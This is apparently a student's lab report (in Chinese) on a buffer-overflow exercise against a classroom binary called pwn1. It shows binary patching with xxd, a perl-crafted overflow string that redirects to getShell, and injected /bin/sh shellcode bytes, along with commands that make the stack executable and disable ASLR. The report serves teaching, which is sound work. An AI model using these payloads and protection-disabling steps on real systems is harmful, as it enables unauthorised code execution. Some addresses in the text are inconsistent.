2018-2019-2 网络对抗技术 20165303 Exp1 PC平台逆向破解（BOF实验）

1.实践目的

本次实践的对象是一个名为pwn1的linux可执行文件。

三个实践内容如下：

• 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

• 注入一个自己制作的shellcode并运行这段shellcode。

  目的如下

• 运行原本不可访问的代码片段
• 强行修改程序执行流

• 以及注入运行任意代码。

  老师的问题

  掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

• NOP：90
• JNE：75
• JE：74
• JMP：E9 EA EB

• CMP：38（CMP reg8/mem8,reg8）39（CMP reg16/mem16,reg16）3A（CMP reg8,reg8/mem8）3B（CMP reg16,reg16/mem16）3C（CMP al,immed8）3D（CMP ax,immed16）

• 什么是漏洞？
  我认为漏洞就是在设计上因为逻辑问题而出现的不应该出现的错误，或者说是因为编程的时候考虑不周全而出现的错误，再有就是可能因为硬件问题而导致的固有的一些问题，比如说32位机器和64位机器所导致的一些不可避免的问题，漏洞的危害当然就是导致一些程序出错，或者说导致泄密和获取不应该获取的权限。

• 实验收获与感想
  本次实验让我充分了解了缓冲器溢出的原理与危害以及如何制造缓冲区溢出攻击，通过自己的亲自动手操作，深刻理解了直接修改程序机器指令从而达到自己想要的目的的过程，通过不合法的输入从而导致了修改函数的返回地址，从未执行另一个程序。shenllcode注入的目的就是使返回地址指向shellcode，从而造成攻击

2.实验一

遇到的问题

首先我们要做的就是获取pwn1文件，从老师那里经过拷贝，然后发现无法复制粘贴进入kali虚拟机，然后网上查资料发现是VMware虚拟机的tools安装的与kali不匹配，kali是最新的安装包，但是VMware tools是旧版，所以就需要先卸载旧版，然后在网上找教程，官方建议是安装open-vm-tools-desktop来代替其跟物理机交互。 如果之前不小心安装了vmware-tools，可以输入vmware-uninstall-tools.pl回车即可删除vmware-tools。 在有官方的更新源下，使用下面命令安装open-vm-tools-desktop 先输入apt-get install open-vm-tools-desktop fuse然后输入reboot即可完成安装，就可以复制粘贴了

• 1.首先把这个文件权限提高,使用chmod +x pwn1变成可执行

• 2.使用objdump -d pwn1，反汇编pwn1文件
  
  看80484b5: e8 d7 ff ff ff call 8048491 <foo>这条指令调用08048491处的foo函数
  如果想让函数调用getShell，只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量，计算地址
  0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址
  使用vi编辑文件，进去之后是乱码，然后使用:%!xxd转换为16进制找到d7
  

然后修改为c3

在使用:%!xxd -r换回乱码。保存之后退出

看到已经成功保存了
执行程序pwn1获得结果

自此实验一成功。

3.实验二

通过构造输入参数，造成BOF攻击，改变程序执行流

通过不合法的输入造成把函数的返回地址进行修改使程序执行其他的代码
先使用gdb进行调试程序，先运行程序，然后输入一大串字符abcdefghijklmnopqrstuvwxyz1234567890
得到一个结果
发生段错误，得到一个错误的返回地址0x30393837
因为我们的是小端机器，所以说明是后面四位发生了溢出，那么我们如果想要让他跳转到其他地方就需要修改后四位地址
那我们只需要把最后四位写为\xd7\x84\x04\x08（即shellcode的起始地址0x080484d7）就OK了
使用：perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input管道命令
然后就攻击成功了

4.实验三

shellcode就是一段机器指令（code）
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

开始之前首先要设置堆栈可执行
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
若不能成功则使用apt-get install execstack进行更新
然后查询一下是否可执行若为X pwn1则为可执行
然后我们还需要关闭地址随机化
使用echo "0" > /proc/sys/kernel/randomize_va_space即可关闭，否则每次执行esp的值都会发生变化
然后构造一个构造一个input_shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
一个窗口运行(cat input_shellcode;cat) | ./pwn1
另一个窗口运行ps -ef | grep pwn可以查看到当前进程号
然后在gdb里面attach 进程号

(gdb) disassemble foo反编译查看地址

得到0xffffd2ac
计算d2ac+0004为d2b0
然后修改input_shellcode
最终攻击成功